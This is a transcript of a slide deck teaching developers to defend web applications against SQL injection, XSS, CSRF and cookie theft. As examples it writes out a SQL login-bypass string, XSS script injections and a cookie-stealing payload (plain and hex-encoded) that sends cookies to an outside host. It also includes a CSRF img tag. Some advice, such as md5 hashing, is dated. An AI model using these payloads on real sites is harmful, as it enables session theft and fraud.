Roberto Bicchierai - Defending web applications from attacks
Download as PPTX, PDF1 like1,565 views
The document discusses common security mistakes in web application development, emphasizing the importance of strong user identity measures, secure coding practices, and protection against vulnerabilities like SQL injection, XSS, and CSRF. It recommends using techniques such as salted cookies, server-side tokens, and thorough encoding of user inputs to mitigate risks. Additionally, it highlights the necessity of employing SSL for secure data transmission and maintaining robust password policies.
Roberto Bicchierai - Defending web applications from attacks
- 1. Defending web applications from attacksRoberto Bicchieraihttp://roberto.open-lab.comrbicchierai@open-lab.com
- 2. “Web appsw.t.f.?”Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers)Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
- 3. This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
- 4. Seems easy to say “security”…Classical branches:Hardware securityCryptographyIdentity
- 5. CryptographyEvery single byte you send can be read.SSL does not guarantee 100% and slows down your apps.Sniffing requires knowledge, software, hardware and physical access to wires.
- 6. User identityUsername/e-mail and passwordstrength: “p455w0rD.” better than “password” or “p”avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!)try to avoid dictionary ones (record number of attempts!)never store passwords on your dbThe newdictionary: why “qazwsxedc” isnot so strong?OpenIDis a suitable alternative for some web apps.Biometrics are NOT.Datibiometrici (difficilmenteusabili)
- 7. Did I miss something?My servers are in a fortress3 firewall levels (and one dragon)I use 56 chars non-alpha pwdpwd expires every 10 daysI use SSL 1024(128) bit encryptionI hung blu velvet curtains to the windows
- 8. Your app sucks!InjectionCookiesXSSCSRFThe problem is in the application…
- 9. Injection: I don’t need a password!Earth 2010:lotsofapplications are still open to the classicalsqlinjectionvulnerability:jsmitha’ or ‘a’=‘a“select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ”DON’T
- 10. Damned HTML… and your browsers3 ingredients make web apps vulnerable:HTML was not for applications! But it is! (code injection is too easy)HTTP uses cookies for handling sessionsJavascript, that is ubiquitous in a page (and reads cookies)butmainlybrowsers
- 11. Remember me!Saltedcookies, saltedcookies!Usesalt and peppertohash login data.Do notmakethemreversible!md5(user.id+”hash”)md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
- 12. Protectcookies!lost cookies = session stolen, now I’m you!Hard to recover! Quite “easy” to preventuse HttpOnly cookiesrestrict cookie’s scope by setting host, path, expiryencrypt data saved on cookies
- 13. Injectionreloaded: aka XSS JSP-ASP example:notes:<textarea name=“notes”><%=note%></textarea>your name: <input type=”text” value=“<%=yourName%>”><%=yourName%>notes:</textarea><script>alert(“you stink!”)</script>your name:john “> <script>alert(“I can do everything!”)</script>thisis the basicsofXSS
- 14. XSSHow I’llgetyourcookies:http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>“Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
- 15. XSS: encodeuserinputsDo not think it’s easy:if (userInputs.contains(“<script>”)) killTheUser();itdoesn’t work!http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3eDo yourecognizethis? Itis the same script!Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
- 16. XSS: encodeuserinputsThe safest solution?Limit user inputs to plain text Html encode every single fieldhttp://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie</script>Sweet dreams! This is always safe!
- 17. XSS: no plain text? so, pain test!Your app allows rich text inputs?Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead.Markdown
- 18. Textile
- 19. BBCode
- 20. WikipediaXSS: I like HTMLSanitizing an HTML input is really hard work.Do not be shy:restrict allowed tags: <i><b><a><u><br><hr>kill dangerous tags: <script><object><embed>etc.test urls: <a href=“javascript: or background-image:url(‘…limit css styles, e.g.: positionHtmlEncode all the rest!
- 21. XSS: test yourpagesThere are about 150 different XSS exploits!Test inputs using examples onhttp://ha.ckers.org/xss.htmlwith different browsers and versions.Use XSSme plugin for FireFox.
- 22. Missionaccomplished. XSS destroyed! Does the user exactly know what she is doing?Everytime?click herenext target:Cross Site Request Forgery
- 23. CSRF: howdoesit work?John is authenticated on site A. e.g.: stoks.example.comJohn visit the site B reading news: hotStoksNews.goodboy.comB contains the CSRF attack to site A e.g.:<img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>John is now an happy owner of 1000 KRAK shares!
- 24. CSRF: protectyourappThere aren’t many solutions:Server-sideGeneratedTokens!
- 25. CSRF & Tokens: howtoyour server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session when the form request is received a hidden parameter is matched with the in-session one
- 26. CSRF & TokensCons:reloading a page (F5) will generate “invalid token error”if a page has different entry points token generation may be annoyingPros:safesafesafe
- 27. API: a newenemy?REST, JSON, XML API are not evil in themself, but:there is no “standard” authenticationwhen used with JS clients this may reveal the user keyyou are exposing new ways for xss and csrf
- 28. DoS: Denialof ServiceDoS protocol level: nothing to do… use intelligent gateways/routerDoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessionsUse session-less pages until authentication“DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
- 29. Yourapprocks!use strong passwordskeep data in safe placedo not store user’s passwordssalt and pepper everywhereuse SSLuse Httponly cookiesencode user inputs or sanitize themuse server-side tokens for critical actionsexpose a read-only API
- 30. “Don’t be evil”
- 31. Thank you!Now: Q&Aa startingpointwith a collectionof security relatedlinks:http://delicious.com/robicch/securitymy Java sanitizer: http://roberto.open-lab.com